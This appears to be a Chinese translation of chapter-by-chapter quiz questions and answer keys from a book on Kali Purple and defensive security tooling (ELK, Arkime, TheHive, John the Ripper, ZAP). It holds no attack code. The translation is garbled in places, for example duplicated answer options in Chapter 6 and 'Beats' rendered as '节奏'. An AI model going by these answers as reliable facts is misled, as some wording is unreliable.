    2. John the Ripper 专注于从哈希列表中破解密码,而 Hydra 专注于通过 网络应用进行暴力破解

    3. Hydra 有许多头,而 John the Ripper 只有一个

    4. 以上所有

    5. 以上都不对

    答案: B – John the Ripper 以破解 密码哈希而闻名。

  3. 被认为拥有顶级安全的缺点是什么?

    1. 你成为了对手的目标,他们想证明 自己的勇气

    2. 你的安全预算令人震惊

    3. 你被保护得如此严密,以至于你的母亲都无法联系到你

    4. 每个人都期待你分享你的秘密

    答案: A – 顶尖黑客拥有顶尖的自尊心,他们会把你的顶级安全当作一种 需要克服的挑战。

  4. 哪个袖珍工具曾用于对伊朗的核 enrichment 计划进行破坏?

    1. 瑞士军刀

    2. 一只丁烷打火机

    3. 回形针

    4. USB 闪存驱动器

    答案: D – USB 闪存驱动器。

  5. 当 SIEM 将新获取的数据与现有的数据源结合时,这被称为什么?

    1. 数据损坏

    2. 数据丰富

    3. 数据污染

    4. 一团混乱

    答案: B – 数据丰富。

  6. CIA 三原则代表保密性、完整性和 _______________。

    1. 可用性

    2. 可访问性

    3. 责任性

    4. 可假设性

    答案: A – 可用性。

  7. 哪个操作系统是第一个成功的与桌面个人计算机一起分发的大众市场操作系统?

    1. Linus Torvalds 的 Linux

    2. 微软的 Windows

    3. 汤普森和里奇的 Unix

    4. 苹果的 MacIntosh

    答案: D – 苹果的 MacIntosh。这里的关键要点是大众市场。UNIX 不是大众市场,而 Linux 的普及要远在 MacIntosh 之后,而 MacIntosh,顺便说一句,也是 早于 Windows 的。

  8. Elastic、Arkime 和其他工具中的哪个应用功能允许用户自定义如何展示信息?

    1. GUI

    2. 动态规则集

    3. 仪表盘

    4. 白板

    答案: C – 仪表盘。白板允许完全自定义,但通常是物理对象,并不是软件工具的一部分。GUI 以视觉方式展示数据,但通常不会允许除了细微的最终用户外观 自定义数据。

第二章

  1. ELK 堆栈是什么?

    1. 一群野鹿互相站在一起

    2. 一组开源软件 协同工作

    3. 环境 Linux 知识

    答案: B – Elasticsearch, Logstash, Kibana 和 Beats。

  2. 正确还是错误:Beats 是 ELK 的商业产品,但需要付费使用。

    1. 正确

    2. 错误

    答案B – Beats 是免费的,尽管它正在迅速被 Elastic Agent 取代。

  3. 管道与其他聚合的主要区别是什么?

    1. 这种聚合利用了其他聚合的结果

    2. 其他聚合依赖于首先进行这一聚合

    3. 这个聚合围绕着一组长而细的线性标准展开

    4. 如果发生管道泄漏,必须通知 EPA

    答案A – 管道聚合是一个结果聚合,结合了 更多数据。

  4. 在 Elastic 堆栈管道中,数据在哪个阶段被丰富(你可以选择多个)?

    1. 当其中一个 Beats 代理在 发送数据之前收集数据

    2. 只有通过 Logstash 和 Elasticsearch 处理的数据,Kibana 才会对其进行丰富

    3. Logstash

    4. Elasticsearch

    答案A, C – 算是一个技巧性问题。Kibana 以它独特的方式展示数据的能力在技术上确实可以算作丰富;然而,选项所示的是,只有在数据首先通过 Logstash 和 Elasticsearch 后才能实现,这并不正确。Beats 代理默认不丰富数据,但可以通过处理器配置来做到这一点。

  5. 哪个 ELK 堆栈组件帮助用户可视化数据?

    1. Elasticsearch

    2. Logstash

    3. Kibana

    4. Beats

    5. X-Pack

    答案C – Kibana 仪表盘完全是 关于可视化的。

  6. 条件语句与 ELK 堆栈的关系是什么?

    1. 处理气流并保持其冷却的设备

    2. Kali Purple 实例的操作员与客户之间的协议

    3. 一个只有在满足所有需求时才会执行的 Elasticsearch 进程

    4. 一组命令,用于根据是否满足预定义的标准控制数据流

    答案D – 你可以根据 预定的标准控制数据流。

第三章

  1. 什么是哈希值?

    1. 一道包含咸牛肉和切块土豆的早餐菜肴

    2. 一个用来衡量你恶心感受的指标

    3. 一个固定长度的单向数学加密结果

    4. 一个可变长度的单向数学加密结果

    答案C – 哈希值是固定长度的,旨在进行单向 数学运算。

  2. 为什么我们需要在配置 VirtualBox 之前下载 Kali Purple .iso 文件?

    1. VirtualBox 依赖于 Kali Purple 来运行

    2. VirtualBox 在配置新虚拟机后,可以立即安装 Kali Purple

    3. 安装后,VirtualBox 会出于安全原因阻止所有外部下载

    答案B – 完全是为了效率。VirtualBox 可以为你跳过一步或两步, 并立即完成安装。

  3. Kali Purple 需要 Java SDK。正确还是错误?

    1. 正确 – 它是保持操作系统正常运行的一个重要组成部分

    2. 错误 – 它不是必需的,但 Kali Purple 中的许多应用程序如果没有它,将无法正常运行

    3. 正确 – 它不是必需的应用程序,但 Kali Purple 的创建者希望提供它,以防将来有需要时会用到

    4. 错误 —— 它不是必需的,但 Kali Purple 中的每个应用程序都需要它才能正常运行。

    答案B – 它不是必需的,但如果没有它,你很难完成任何任务

  4. 我们应该为任何新的虚拟机分配多少 RAM、CPU 和磁盘空间?

    1. 大约占宿主机器总值的 10%

    2. 宿主机器所有资源的总和;我们需要每一分计算和存储资源!

    3. 我们打算运行的应用程序的推荐值,前提是它们不会超过我们合理可用的资源

    4. 我们打算运行的应用程序所需的最低规格,以便为未来的宿主机器操作保留资源。

    答案C 是首选答案,尽管也可以为 D 提出论点——只要你为宿主机器保留足够的资源,尽可能多地获取资源是个好主意。

  5. 使用 APT 时,我们不再需要检查哈希值。对还是错?

    1. 一般来说, 这是正确的

    2. 错误,我们始终需要检查哈希值。

    3. 这一点始终正确

    答案A – APT 负责数据完整性 为我们。

  6. 在虚拟机大厅中选择 NewAdd 有什么区别?

    1. 没有区别,它们是一样的

    2. New 创建一个新的虚拟机,而 Add 合并两个或更多虚拟机。

    3. Add 会寻找 .vBox 文件或其他兼容文件,并基于此建立虚拟机

    4. 它们都创建一个新的虚拟机,但选择 New 告诉 VirtualBox 你是新用户,需要教程引导。

    答案C – Add 会寻找兼容的文件来建立新的虚拟机,但它不会合并 虚拟机。

第四章

  1. 本章中涉及的哪个 ELK 堆栈组件依赖于我们安装的 JDK?

    1. Kibana

    2. Elasticsearch

    3. Logstash

    答案C – Logstash。

  2. 对还是错:Logstash 可以通过 Kibana GUI 安装。

    1. 正确

    2. 错误

    答案A – 正确。

  3. 在第一次运行 Elasticsearch 时提供的密码有什么意义?

    1. 这是一个服务账户密码,用于集成 ELK 堆栈组件

    2. 它永远无法更改

    3. 它用于集成 ELK 堆栈组件,但技术上不是一个服务账户。

    4. 最多可以更改四次。

    答案A – 它用于集成 ELK 堆栈组件,但也用于身份验证和管理 Elasticsearch 服务和配置,技术上是一个服务 账户密码。

  4. 服务账户的主要功能是什么?

    1. 它管理正在运行的后台服务。

    2. 它是一个非人类账户,帮助应用程序之间进行集成

    3. 它对服务的行为负责

    4. 它会向你发送一条自动短信,通知你何时该为汽车更换机油。

    答案B – 它是一个非人类账户,用于集成 和维护。

  5. Elasticsearch 绑定的默认端口是什么?

    1. 5601

    2. 5400

    3. 9201

    4. 9200

    答案D – HTTP 使用 9200 端口,但它绑定到 9300 端口用于内部 节点间通信。

  6. 以下哪个命令清理残留的配置文件?

    1. sudo apt purge

    2. sudo apt remove

    3. sudo apt disable

    4. sudo apt disintegrate

    答案A – sudo apt purge

第五章

  1. 什么是端口转发?

    1. 当海洋设施将进入的船只重定向到另一个位置时

    2. 一种计算机网络技术,它根据 通信端口 将流量从一台机器重定向到另一台机器

    3. 当用户将网络接口卡NIC)物理移除并将其放置到另一个设备上时

    答案B – 当流量根据 通信端口 从一个设备(有形或虚拟)重定向到另一个设备时。*

  2. 正确还是错误:端口转发必须在发送和接收设备上使用相同的端口号。

    1. 正确

    2. 错误,它们必须是不同的

    3. 错误,但它们可能是 相同的

    答案C – 它们不要求相同,但可能相同。在本书中的所有示例中,它们都是 匹配的。

  3. 用户在一台设备上可以拥有多少不同的节奏?

    1. 用户可以拥有任意数量的节奏,只要它们在端口或 其他资源上没有冲突

    2. 一次最多不超过一个

    3. 两个,只要它们不是相同的节奏类型

    答案A – 只要它们不相互冲突或与其他资源冲突,用户可以拥有任意数量的节奏。

  4. 发音为Yaml.yml 文件用于什么类型的操作?

    1. 它们用于为应用程序开发硬编码的附加指令

    2. 它们提供了一种常与绿蛋一起食用的蔬菜的做法

    3. 它们用于配置应用程序的变量设置,这些应用程序属于 它们

    答案C – 它们用于配置 变量设置。

  5. 什么是过滤器?

    1. 这是一段旨在防止您的设备显示冒犯性语言的代码

    2. 它们保持空气在物理设备中流动,清洁且没有碎片

    3. 它们提供额外的表格,用于解析和丰富 进入的数据

    4. 一支来自 1990 年代的美国垃圾摇滚乐队

    5. 以上所有

    答案E – 因为从技术上讲,它们都正确。然而,C 是我们在编写问题时的想法——它们提供额外的表格,用于数据丰富。尽管每个潜在的答案至少 有一点正确。

第六章

  1. Arkime 是一个网络流量捕获和分析工具,曾被称为什么?

    1. 马尔科姆

    2. 莫丨洛托夫鸡尾酒

    3. 摩洛克

    答案C – 摩洛克。

  2. 当网络接口卡处于混杂模式时,这意味着什么?

    1. 网络接口卡捕获所有通过它的流量,无论 最终目的地在哪里

    2. 网络接口卡(NIC)对其通过的数据特别友好

    3. 网络接口卡只捕获数据,通过其设备本身作为最终目的地的流量

    答案: A – 混杂模式意味着网卡捕获一切,即使是非为其设计的流量。

  3. 什么是实时流量分析?

    1. 坐在高架桥上观察不同品牌和型号的汽车经过

    2. 分析以 Zulu 时间戳记的网络流量,采用公历格式

    3. 分析网络流量的能力,正如它 实时发生时那样

    4. 检查过去 20 分钟内发生的任何流量

    答案: C – 实时意味着现场和立体的 – 就像事情 正在发生。

  4. CyberChef 也被其创始人称作什么?

    1. 网络瑞士军刀

    2. 英国顶级大厨

    3. 爱尔兰军队通用工具

    4. 皇家海军挖掘工具

    答案: A – 网络瑞士军刀

  5. 在管理员捕获基准并比较未来流量与该基准的偏差后,发生了什么类型的威胁检测?

    1. 不规则表达式检测

    2. 异常检测

    3. 模式匹配

    4. 异常检测

    答案: D – 异常检测。

第七章

  1. IDS 和 IPS 有什么区别?

    1. 一个 IDS 主动阻止恶意活动,而 IPS 仅检测它

    2. 一个 IPS 主动阻止恶意活动,而一个 IDS 仅 检测它

    3. 没有 – 它们是一样的

    4. 数千美元的潜在开销

    答案: B – 一个 IDS 仅“检测”,而一个 IPS 采取行动来“防止” 恶意活动。

  2. 网络活动在精确的时间间隔发生,可能是何种潜在威胁的症状?

    1. 一个极其严格的雇主

    2. 设备上的潜在配置错误

    3. 自动化和脚本编写

    4. 一个向外部 C2 服务器发信号的机器人

    答案: D – 一个孤立的机器人正在与远程 C2 服务器通信,表明它可能是一个 更大僵尸网络的一部分。

  3. 将程序员的代码转换为机器语言的过程叫什么?

    1. 编译

    2. 引人注目

    3. 控制

    4. 小心翻译

    答案: A – 编译。

  4. 什么是 HIDS?

    1. 一个由单一实体资助的 IDS

    2. 一个也可以配置为 IPS 的 IDS

    3. 一个只放置在单一终端上的 IDS,专门保护 该设备

    4. 以上所有

    答案: C – HIDS 本质上是一个放置在单一终端上的 IDS, 或“主机”。

  5. 在网络安全职业中,是否需要编程/编码或软件开发技能?

    1. 毋庸置疑,没有这些知识,你无法有效地工作。

    2. 不,但它在提升技能和帮助你 创建自动化方面可以具有很大的价值。

    3. 不,一点也不。绝对不行。完全不行。太过分了。别再针对我了!

    答案: B – 虽然在初级/入门级别不一定需要,但如果你想在更高层次上取得成功,最终它会变得必要,而仅仅知道它就能为你的分析和 调查结果增加显著价值。

第八章

  1. Cortex 和 TheHive 由同一家公司创建,该公司名为……

    1. 大黄蜂

    2. 蜂汗

    3. Strangebee

    4. 离开我

    答案: C – Strangebee。

  2. 一系列预定义的步骤,通常是可重复的活动模式,这是什么?

    1. IR 电路

    2. 工作流

    3. 容器

    4. 代码库或 .dll 文件

    答案: B – 工作流。

  3. 定义两种不同软件系统如何相互通信规则的东西叫什么?

    1. 应用程序编程 接口(API)

    2. 国际网络安全通信法(ICCL)

    3. 君主立宪制

    4. 国际技术安全控制标准(ISTSC)

    答案: A – API 有助于 应用间通信。

  4. 什么是多租户?

    1. 当两人或更多人一起在同一台计算机上工作时

    2. 一个能够区分并管理多个客户 或组织的应用程序

    3. 类似于多任务处理,但以秘密方式进行

    4. 一只章鱼或其他动物界成员,拥有超过两个臂或腿

    答案: B – 多租户是为客户开发软件应用程序时的关键因素,因为客户自己也会有 客户,对吧?

  5. MISP 促进了关于什么类型技术的信息共享?

    1. 所有 已知威胁

    2. 数据库

    3. 数字化

    4. 恶意软件

    答案: A – 尽管 MISP 中的 M 代表恶意软件,但这个威胁共享平台可以与其他威胁源整合,并共享 所有类型的威胁数据。

第九章

  1. 如果我们未经允许在非自有系统上使用任何工具,会发生什么?

    1. 你可能会因我们的创新思维而收到一封表扬信

    2. 由于展示你的技能,而不仅仅是谈论它们,你将比其他候选人更有竞争力。

    3. 你可能会学到一些东西并获得经验。

    4. 这是一种犯罪行为,根据 司法管辖区,你可能面临指控或被监禁

    答案: D – 在未经我们许可的系统上使用本章讨论的工具,可能会对系统造成严重损害,并且侵犯个人和职业 隐私边界。

  2. BeEF 是什么?

    1. 牛肉异国食品

    2. 浏览器 漏洞利用框架

    3. 英国探索与远征部队

    4. 教育功能的浏览器版

    答案: B – 浏览器 漏洞利用框架。

  3. 在软件相关领域,拆解的另一个术语是什么?

    1. 逆向工程

    2. 编译

    3. 隔离

    4. 病毒

    答案: A – 逆向工程是一种拆解事物以更好地理解它是如何运作的方式。

  4. 存储在 RAM 中的信息被认为存储在什么类型的内存中?

    1. 固态内存

    2. 液态内存

    3. 易失性内存

    4. 稳定内存

    5. 我记不起来了

    答案: C – RAM 被视为 易失性内存。

  5. 在最字面化的用法中,Maltego 是什么?

    1. 一种用于进行法医分析的复杂地理空间工具

    2. 一种数据 挖掘工具

    3. 一个加勒比海岛屿,社交工程在这里诞生

    4. 一种极其傲慢的饮品

    答案B – Maltego 用于数据挖掘,这对于法医分析非常有用。然而,数据挖掘除了法医调查外,还有许多其他用途。它通常用于确定有效的 营销策略。

第十章

  1. 我们讨论过的扫描工具属于网络攻击的哪个阶段?

    1. 有效载荷传送

    2. 利用

    3. 恢复

    4. 侦察

    答案D – 扫描活动是 侦察操作的一部分。

  2. 什么是 Wireshark?

    1. 一款 协议分析器

    2. 一个与黑手党有关的贷款官员

    3. 一种物理电缆窃听

    4. 一个网络数据包生成器

    答案A – Wireshark 是一款顶级的协议分析工具。你常常会看到招聘广告要求具有协议分析经验,并且特别提到 Wireshark。

  3. 什么是 John the Ripper?

    1. Jack 的哥哥

    2. 一个密码和 哈希破解工具

    3. 一个网络数据包反汇编器

    4. 一种 WAF 绕过漏洞

    答案B – John the Ripper 以破解密码和 哈希值而著名。

  4. 如果你试图破解的密码不在你的破解工具调用的字典列表中,你认为会发生什么?

    1. 工具将自动重启,使用目录中下一个字典列表中的值

    2. 工具会完成字典列表中的扫描,然后随便乱猜,尝试破解密码

    3. 密码将无法成功破解,你需要找到另一个列表或方法来完成 你的目标

    4. 密码破解工具会变得愤怒,并自动切换为字典攻击和模糊值测试的暴力破解方式

    答案C – 如果没有事先指示采取其他操作,工具会停止等待你的 下一个命令。

  5. 哪个工具最像 ZAP?

    1. Google Chrome

    2. Mozilla Firefox

    3. Portswigger

    4. Burp Suite

    答案D – Burp Suite 和 ZAP 功能相似。

第十一章

  1. 什么是 Kali Autopilot?

    1. 一款用于黑客攻击无人机的应用程序

    2. 一个用于自动化渗透测试和模拟针对 数字防御的网络攻击的应用程序

    3. 一款由加利福尼亚州飞出的航空公司飞行员使用的应用程序

    答案B – Kali Autopilot 用于自动化 网络攻击序列。

  2. 如果你想学会如何抓住黑客,那么你需要做什么?

    1. 一遍又一遍地观看《剑鱼行动》,直到它深入你的脑海

    2. 像黑客一样饮食,饮食至关重要!

    3. 去黑客学校,完成四年的黑客学位课程

    4. 像黑客一样思考

    答案D – 其他选项也很好,但答案是 D。

  3. 你如何区分 Python 代码和人类可读的文本?

    1. # 符号之后的所有数据都被编译器/解释器忽略,旨在供 人类阅读

    2. Python 语句都以Sssssssssss结尾……

    3. # 符号之后的所有数据会被编译器/解释器处理,其他所有内容则供人类阅读

    4. 只有斯莱特林学院的成员才能读取 Python

    答案A – 脚本引擎被编程为忽略# 符号后面的所有文本。

  4. 如何在 Python 中定义一个函数?

    1. 键入define func,后跟函数名

    2. 键入函数名,并在其后附加.py

    3. 键入单词 def,后跟函数名和函数参数 用括号括起来

    4. 查阅《韦氏词典》

    答案C – 示例:def myFunc (**filename, username)。

  5. 自从其创建以来,NIST 首次发布了 CSF 的更新。新增加的第六个功能是什么?

    1. 识别

    2. 治理

    3. 规则

    4. 保护

    答案B – 新的 NIST CSF 支柱是治理。它是为 CISO 和其他在 网络安全角色中操作的领导者设计的。

  6. 你最喜欢的作家是谁(只有一个正确答案)?

    1. 卡尔·莱恩

    2. 卡尔·莱恩

    3. 卡尔·莱恩

    4. 卡尔·莱恩

    5. 卡尔·莱恩

    6. 卡尔·莱恩

    7. 詹姆斯·帕特森

    答案G – 詹姆斯 帕特森。傻啊。

posted @ 2025-06-19 16:04  绝不原创的飞龙  阅读(233)  评论(0)    收藏  举报